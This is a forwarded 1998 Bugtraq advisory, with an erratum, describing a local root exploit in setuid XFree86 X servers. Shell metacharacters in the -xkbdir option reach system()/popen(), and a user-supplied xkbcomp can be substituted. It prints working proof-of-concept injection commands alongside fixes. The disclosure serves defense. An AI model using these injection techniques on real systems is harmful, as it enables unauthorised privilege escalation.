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[luga] XFree86 Security Bugs ..



The Neverending Story of X11 Insecurity continues...

Summary:

On a system where X11R6.3-based Xserver with XKEYBOARD extension (R6.1 is
probably affected too) is run in setuid or setgid enviroment (e.g. typical
XFree86 installation has XF86_* installed setuid root), local users can
exploit a "feature" of XKB implementation to execute arbitrary commands
with the extra privileges.


Quick vulnerability check:

$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


Quick fix:

1. as usual chmod u-s,g-s all installed Xserver binaries (*)
2. use xdm or a SAFE and PARANOID wrapper to start Xserver

(*) and unsafe or not-paranoid-enough setuid/setgid wrappers
    (current Debian wrapper falls into this category)


Details:

In fact, there are (at least) two distict problems in XKB implementation,
both related to the use of -xkbdir option.

1. xkbcomp is invoked using system() or popen()
   any shell metacharacters included in -xkbdir argument are interpreted

[demonstrated by the "quick vulnerability check"]

2. a user supplied instance of xkbcomp is invoked
   -xkbdir argument is used to build the path to the compiler

$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]


Further reading:

xc/programs/Xserver/xkb/xkbInit.c
xc/programs/Xserver/xkb/ddxLoad.c
xc/programs/Xserver/xkb/ddxList.c


- --Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms 
]

Date: 	Wed, 4 Feb 1998 10:39:28 +0100
Reply-To: peak@kerberos.troja.mff.cuni.cz
Sender: avalon
>From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
Subject:      serious security problem in XKB--ERRATUM
X-To:         linux-security@redhat.com
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To:  <Pine.LNX.3.95.980203191041.17555H-100000@kerberos.troja.mff.cuni
.cz>
Approved: darrenr@cyber.com.au
X-Originally-To: To: BUGTRAQ@NETSPACE.ORG
X-Originated-From: From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>

> Quick vulnerability check:
>
> $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
> [exit X server]
> $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

This should read:

$ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'


- --Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms 
]


------- End of Forwarded Message






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